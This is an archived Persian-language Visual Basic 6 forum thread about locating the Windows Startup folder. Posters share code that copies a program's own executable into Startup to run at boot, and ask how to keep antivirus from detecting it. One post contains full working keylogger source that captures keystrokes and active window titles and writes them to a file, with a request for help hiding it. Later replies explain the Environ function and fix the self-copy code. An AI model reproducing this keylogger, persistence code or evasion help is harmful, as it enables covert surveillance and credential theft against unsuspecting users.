PDA

View Full Version : پیدا کردن Startup



tehran2009
جمعه 17 مهر 1388, 10:24 صبح
دوستان کدی هست که پوشه Startup ویندوز رو پیدا کنه.
یعنی اینو ننویسم
\Documents and Settings\All Users\Start Menu\Programs\Startup\

saeedvir
جمعه 17 مهر 1388, 11:11 صبح
سلام دوست عزیز بفرما :

x$ = Environ("USERPROFILE")
'MsgBox x$ + "\Start Menu\Programs\Startup\"
a = x$ + "\Start Menu\Programs\Startup\"
FileCopy App.Path + "\" + App.EXEName + ".exe", a

این سورس مسیر را پیدا کرده و خودش را اون جا کپی می کنه.

با تشکر.

tehran2009
جمعه 17 مهر 1388, 11:42 صبح
راه های دیگه اگه هست ممنون میشم دوستا اینجا بزارن.
من سرچ کردم تمام سورس ها رو چک کردم اما انتی ویروس ها گیر می دن به این کدها
اگه ممکنه کمک کنید و راههایی بگین که آنتی ویروس گیر نده.
مرسی

xxxxx_xxxxx
جمعه 17 مهر 1388, 12:36 عصر
آنتی ویروس زمانی گیر میده که سهم بیشتری از سورس کدهای شما مخرب تشخیص داده بشه. اگر این کارو در یک پروژه بزرگ انجام بدید آنتی ویروس گیر نمیده.

alireza_00
جمعه 01 مهر 1390, 13:51 عصر
سلام

ببخشید میشه دلیل اینکه آنتی ویروس به این کد گیر میده رو بگین و راهی برای اینکار بزارین که بهش گیر نده ؟

سرچ کردم ولی چیزی دستگیرم نشد اگر در انجمن هم موجود هست لینک بدین ممنون میشم...


Private Const VK_SHIFT = &H10
Private Const VK_CAPITAL = &H14

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private LastWindow As String
Dim wintxt As String

Private Sub Timer1_Timer()

Dim FoundKeys As String

Dim AddKey, KeyResult
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
AddKey = "[Enter]" + vbCrLf
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = " "
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey = "[Tab]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
AddKey = "[BackSpace]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
AddKey = "[Delete]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
AddKey = "[Insert]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
AddKey = "[PageUP]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
AddKey = "[PageDown]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
AddKey = "[Home]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
AddKey = "[End]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey = "[F1]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey = "[F2]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey = "[F3]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey = "[F4]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey = "[F5]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey = "[F6]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey = "[F7]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey = "[F8]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey = "[F9]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey = "[F10]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey = "[F11]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey = "[F12]"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "}"
Else
AddKey = "]"
End If
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "{"
Else
AddKey = "["
End If
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = ":"
Else
AddKey = ";"
End If
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = """"
Else
AddKey = "'"
End If
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "<"
Else
AddKey = ","
End If
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = ">"
Else
AddKey = "."
End If
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "?"
Else
AddKey = "/"
End If
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "|"
Else
AddKey = "\"
End If
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "+"
Else
AddKey = "="
End If
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "_"
Else
AddKey = "-"
End If
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(111)
If KeyResult = -32767 Then
AddKey = "/"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey = "*"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey = "-"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey = "+"
GoTo keyfound
End If

KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey = "."
GoTo keyfound
End If

For o = 96 To 105
KeyResult = GetAsyncKeyState(o)
If KeyResult = -32767 Then
TypeWindow
Select Case Val(o)
Case 97
Text1 = Text1 & "1"

Case 98
Text1 = Text1 & "2"
Case 99
Text1 = Text1 & "3"
Case 100
Text1 = Text1 & "4"
Case 101
Text1 = Text1 & "5"
Case 102
Text1 = Text1 & "6"
Case 103
Text1 = Text1 & "7"
Case 104
Text1 = Text1 & "8"
Case 105
Text1 = Text1 & "9"
Case 96
Text1 = Text1 & "0"
End Select
Exit Sub
End If
Next o
'END NUM LOCK


'Alphabet
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If

End If
Next i
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Select Case Val(Chr(i))
Case 1
Text1 = Text1 & "!"

Case 2
Text1 = Text1 & "@"
Case 3
Text1 = Text1 & "#"
Case 4
Text1 = Text1 & "$"
Case 5
Text1 = Text1 & "%"
Case 6
Text1 = Text1 & "^"
Case 7
Text1 = Text1 & "&"
Case 8
Text1 = Text1 & "*"
Case 9
Text1 = Text1 & "("
Case 0
Text1 = Text1 & ")"
End Select
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
Exit Sub
End If
Next i
Exit Sub
keyfound:
TypeWindow
Text1 = Text1 & AddKey
End Sub

Private Sub Timer2_Timer()
If Text1.Text <> "" Then
Open App.Path & "\Keylogger.txt" For Append As #1
Print #1, Text1.Text
Print #1, "-------------------------------------------------"
Close #1
Text1.Text = ""
End If
Timer2.Enabled = False
End Sub
Function TypeWindow()
Dim handle As Long
Dim textlen As Long
Dim WindowText As String

handle = GetForegroundWindow
LastHandle = handle
textlen = GetWindowTextLength(handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
wintxt = WindowText
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1
Text1 = "Window Title : " & WindowText & vbNewLine & "Type Key : "
LastWindow = WindowText
End If
End Function
Private Sub Tcheckwintxt_Timer()
Dim Handle1 As Long
Dim textlen1 As Long
Dim WindowText1 As String
Dim wintxt2 As String

Handle1 = GetForegroundWindow
LastHandle1 = handle
textlen1 = GetWindowTextLength(Handle1) + 1
WindowText1 = Space(textlen1)
svar1 = GetWindowText(Handle1, WindowText1, textlen1)
WindowText1 = Left(WindowText1, Len(WindowText1) - 1)
wintxt2 = WindowText1
If wintxt2 <> wintxt Then
Timer2.Enabled = True
End If
End Sub

setroyd
جمعه 01 مهر 1390, 15:18 عصر
خوب دوست عزیز همه ی کد شما با GetAsyncKeyState کار میکنه و ویروس کش این رو یه ویروس یا تروجان میشناسه قبلا در این باره بحث شده یه سرچ کنید در همینجا میبینید .

alireza_00
جمعه 01 مهر 1390, 16:55 عصر
خوب دوست عزیز همه ی کد شما با GetAsyncKeyState کار میکنه و ویروس کش این رو یه ویروس یا تروجان میشناسه قبلا در این باره بحث شده یه سرچ کنید در همینجا میبینید .

ممنون از اینکه لطف کردید و پاسخ دادید من سرچ کردم پیدا نکردم :ناراحت:


میشه کمکم کنید یا لینک تاپیک مربوطه رو به من بدید ؟


راهی نیست این ها رو از دید آنتی ویروس مخفی کرد ؟

بازم ممنون

mr-adler
یک شنبه 03 مهر 1390, 00:31 صبح
شرمنده دوستان ایا کسی میتونه این کد رو تحلیل کنه؟:خجالت:


x$ = Environ("USERPROFILE")
'MsgBox x$ + "\Start Menu\Programs\Startup\"
a = x$ + "\Start Menu\Programs\Startup\"
FileCopy App.Path + "\" + App.EXEName + ".exe", a

مثلا بگید هر قسمت این کد مربوط به چیه؟(با کپی کردن کد ادم هیچی یاد نمیگیره)

محسن واژدی
یک شنبه 03 مهر 1390, 09:06 صبح
سلام علیکم


شرمنده دوستان ایا کسی میتونه این کد رو تحلیل کنه؟:خجالت:


x$ = Environ("USERPROFILE")


تابع Environ مسیر یک متغیر محیطی که مقدار آن در ویندوز تعریف شده است را برمیگرداند، که در اینجا USERPROFILE مسیر پروفایل کاربر فعلی است
سایر متغیرهایی که میتوانیم در این تابع استفاده کنیم:


دستورات تابع :

به دست آوردن آدرس پرفایل تمامی کاربرها:
Environ(“ALLUSERSPROFILE”)

به دست آوردن آدرس برنامه های کاربر:
Environ(“APPDATA”)

به دست آوردن CommonProgram سیستم:
Environ(“CommonProgramFiles”)

به دست آوردن آدرس CommonProgram سیستم های 32 بیتی:
Environ(“CommonProgramFiles﴾x86)”)

به دست آوردن آدرس CommonProgram اصلی سیستم:
Environ(“CommonProgramW6432”)

به دست آوردن نام کامپیوتر:
Environ(“COMPUTERNAME”)

به دست آوردن آدرس برنامه داس ویندوز:
Environ(“ComSpec”)

به دست آوردن آدرس درایو مادر سیستم:
Environ(“HOMEDRIVE”)

به دست آوردن آدرس پرفایل کاربر:
Environ(“HOMEPATH”)

به دست آوردن آدرس محلی سیستم:
Environ(“LOCALAPPDATA”)

به دست آوردن نام سرور سیستم:
Environ(“LOGONSERVER”)

به دست آوردن تعداد هسته های پردازنده سیستم:
Environ(“NUMBER_OF_PROCESSORS”)

به دست آوردن دسته قرارگیری سیستم عامل:
Environ(“OS”)

به دست آوردن تمامی آدرس های سیستم:
Environ(“Path”)

به دست آوردن پسوند های شناسایی شده سیستم:
Environ(“PATHEXT”)

به دست آوردن نام معماری پردازنده:
Environ(“PROCESSOR_ARCHITECTURE”)

به دست آوردن معماری های پشتیبان کننده پردازنده:
Environ(“PROCESSOR_ARCHITEW6432”)

به دست آوردن اطلاعاتی از قبیل : نام ، معاری ، خانواده و... پردازنده:
Environ(“PROCESSOR_IDENTIFIER”)

به دست آوردن درجه داده شده به پردازنده:
Environ(“PROCESSOR_LEVEL”)

به دست آوردن نگارش پردازنده:
Environ(“PROCESSOR_REVISION”)

به دست آوردن آدرس برنامه های 32 بیتی سیستم عامل:
Environ(“ProgramFiles﴾x86)”)

به دست آوردن آدرس ذخیره اطلاعات برنامه ها:
Environ(“ProgramData”)

یه دست آوردن آدرس برنامه ها:
Environ(“ProgramFiles”)

به دست آوردن آدرس اصلی نصب برنامه (32 یا 64 بیتی):
Environ(“ProgramW6432”)

به دست آوردن آدرس محل اجرای دستورات سیستم عامل:
Environ(“PSModulePath”)

به دست آوردن آدرس عمومی کاربران:
Environ(“PUBLIC”)

به دست آوردن نام درایو اصلی سیستم:
Environ(“SystemDrive”)

به دست آوردن آدرس ریشه سیستم (آدرس درایو ویندوز):
Environ(“SystemRoot”)

به دست آوردن آدرس پوشه موقت سیستم عامل :


Environ(“TEMP”)

و

Environ(“TMP”)



به دست آوردن نام دومین:
Environ(“USERDOMAIN”)

به دست آوردن نام کاربر فعال سیستم:
Environ(“USERNAME”)

به دست آوردن آدرس پوشه سیستم عامل فعال:
Environ(“windir”)

برای بدست آوردن لیست همه متغیرهایی قابل استفاده در این تابع هم میتوانید از SystemProperties و هم از cmd مشاهده کنید، در cmd دستور Set را بنویسید، برای آسانتر شدن موضوع دستور زیر را اجرا کنید:

Private Sub Command1_Click()
Shell "cmd /c set > c:\set_res.txt", vbHide
Shell "notepad c:\set_res.txt", vbMaximizedFocus
End Sub





a = x$ + "\Start Menu\Programs\Startup\"


متغیر a مسیر بدست آورده شده را به مسیر متصل میکند




FileCopy App.Path + "\" + App.EXEName + ".exe", a


FileCopyفایلی را در مسیری کپی میکند، که در اینجا فایل برنامه در مسیر a که پوشه Startup است را کپی میکند

موفق باشید

mr-adler
یک شنبه 03 مهر 1390, 15:24 عصر
ممنون اقا محسن به خاطر توضیحات فوق العادتون
اما با کد اخری مشکل دارم .(کپی کردن فایل) هر کاری میکنم error میده نمیدونم چرا
75736

محسن واژدی
یک شنبه 03 مهر 1390, 15:42 عصر
سلام
کد را بصورت زیر بنویسید (چون نام فایل در پوشه مقصد مشخص نشده است خطا میدهد)، همچنین "+" در عملیات حسابی استفاده میشود و در اتصال رشته ها بایستی از "&" استفاده کنید چون استفاده از "+" در بعضی جاها خطا میدهد:

FileCopy App.Path & "\" & App.EXEName & ".exe", a & App.EXEName




موفق باشید

mr-adler
یک شنبه 03 مهر 1390, 15:57 عصر
اگه ممکنه این کدها رو یک بار روی سیستم خودتون اجرا کنید. تا بهتر به خطاش پی ببرید
دوباره امتحان کردم اما دوباره همان error قبلی رو داد:ناراحت:

a$ = Environ("userprofile")
b = a$ & "\Start Menu\Programs\Startup\"
FileCopy App.Path & "\" & App.EXEName & ".exe", b & App.EXEName


با تشکر

محسن واژدی
یک شنبه 03 مهر 1390, 16:11 عصر
چون App.EXEName به نام برنامه کمپایل شده اشاره دارد و فقط برای زمانی که برنامه را کمپایل کرده ایم عمل میکند، برای استفاده برنامه را کمپایل سپس دوباره تست کنین

موفق باشید

mr-adler
یک شنبه 03 مهر 1390, 17:29 عصر
درسته من برنامه رو با کد جدید کمپایل نکرده بودم .

ممنون:قلب:

فقط یه مشکل : برنامه کامپایل شده در منوی استارت اپ به صورت openwith ظاهر میشه درحالی که همین برنامه در دکستاپ به صورت فایل exe هست .:متعجب:

m2011kh
یک شنبه 03 مهر 1390, 21:29 عصر
اول سلام
دوم اول کاملا همچی رو بسنجین بعد اگه نشد بپرسین.
امیدوارم از حرفم ناراحت نشده باشین قصد توهین نداشتم.

Black_Strom
یک شنبه 03 مهر 1390, 23:45 عصر
سلام دوست عزیز بفرما :

x$ = Environ("USERPROFILE")
'MsgBox x$ + "\Start Menu\Programs\Startup\"
a = x$ + "\Start Menu\Programs\Startup\"
FileCopy App.Path + "\" + App.EXEName + ".exe", a

این سورس مسیر را پیدا کرده و خودش را اون جا کپی می کنه.

با تشکر.

البته روی ویندوز های vista یا 7 environ را من تست کردم و برخی از پارامترها مقدار متفاوتی برمیگرداند تا روی xp

شماره 1 تا 29 چنین مقادیری بر میگرداند :

75765